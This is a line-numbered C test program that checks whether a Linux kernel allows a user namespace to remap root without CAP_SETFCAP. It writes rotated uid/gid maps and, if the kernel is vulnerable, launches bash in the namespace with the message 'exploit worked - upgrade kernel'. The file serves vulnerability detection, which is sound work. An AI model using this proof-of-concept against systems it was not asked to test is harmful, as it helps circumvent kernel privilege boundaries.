1 /*
2 * Try unsharing where we remap the root user by rotating uids (0,1,2)
3 * and the corresponding gids too.
4 */
5
6 #define _GNU_SOURCE
7
8 #include <errno.h>
9 #include <sched.h>
10 #include <stdio.h>
11 #include <stdlib.h>
12 #include <string.h>
13 #include <sys/capability.h>
14 #include <sys/mman.h>
15 #include <sys/prctl.h>
16 #include <sys/wait.h>
17 #include <unistd.h>
18
19 #define STACK_RESERVED 10*1024
20
21 struct my_pipe {
22 int to[2];
23 int from[2];
24 };
25
child(void * data)26 static int child(void *data) {
27 struct my_pipe *fdsp = data;
28 static const char * const args[] = {"bash", NULL};
29
30 close(fdsp->to[1]);
31 close(fdsp->from[0]);
32 if (write(fdsp->from[1], "1", 1) != 1) {
33 fprintf(stderr, "failed to confirm setuid(1)\n");
34 exit(1);
35 }
36 close(fdsp->from[1]);
37
38 char datum[1];
39 if (read(fdsp->to[0], datum, 1) != 1) {
40 fprintf(stderr, "failed to wait for parent\n");
41 exit(1);
42 }
43 close(fdsp->to[0]);
44 if (datum[0] == '!') {
45 /* parent failed */
46 exit(0);
47 }
48
49 setsid();
50
51 execv("/bin/bash", (const void *) args);
52 perror("execv failed");
53 exit(1);
54 }
55
main(int argc,char ** argv)56 int main(int argc, char **argv)
57 {
58 static const char *file_formats[] = {
59 "/proc/%d/uid_map",
60 "/proc/%d/gid_map"
61 };
62 static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
63 cap_value_t fscap = CAP_SETFCAP;
64 cap_t orig = cap_get_proc();
65
66 /* Run with this one lowered */
67 cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
68
69 struct my_pipe fds;
70 if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
71 perror("no pipes");
72 exit(1);
73 }
74
75 char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
76 MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
77 if (stack == MAP_FAILED) {
78 perror("no map for stack");
79 exit(1);
80 }
81
82 if (cap_setuid(1)) {
83 perror("failed to cap_setuid(1)");
84 exit(1);
85 }
86
87 if (cap_set_proc(orig)) {
88 perror("failed to raise caps again");
89 exit(1);
90 }
91
92 pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
93 if (pid == -1) {
94 perror("clone failed");
95 exit(1);
96 }
97
98 close(fds.from[1]);
99 close(fds.to[0]);
100
101 if (cap_setuid(0)) {
102 perror("failed to cap_setuid(0)");
103 exit(1);
104 }
105
106 if (cap_set_proc(orig)) {
107 perror("failed to raise caps again");
108 exit(1);
109 }
110
111 char datum[1];
112 if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
113 fprintf(stderr, "failed to read child status\n");
114 exit(1);
115 }
116 close(fds.from[0]);
117
118 int i;
119 for (i=0; i<2; i++) {
120 char *map_file;
121 if (asprintf(&map_file, file_formats[i], pid) < 0) {
122 perror("allocate string");
123 exit(1);
124 }
125
126 FILE *f = fopen(map_file, "w");
127 free(map_file);
128 if (f == NULL) {
129 perror("fopen failed");
130 exit(1);
131 }
132 int len = fwrite(id_map, 1, strlen(id_map), f);
133 if (len != strlen(id_map)) {
134 goto bailok;
135 }
136 if (fclose(f)) {
137 goto bailok;
138 }
139 }
140
141 if (write(fds.to[1], ".", 1) != 1) {
142 perror("failed to write '.'");
143 exit(1);
144 }
145 close(fds.to[1]);
146
147 fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
148 if (wait(NULL) == pid) {
149 exit(1);
150 }
151 perror("launch failed");
152 exit(1);
153
154 bailok:
155 fprintf(stderr, "exploit attempt failed\n");
156 (void) write(fds.to[1], "!", 1);
157 exit(0);
158 }
159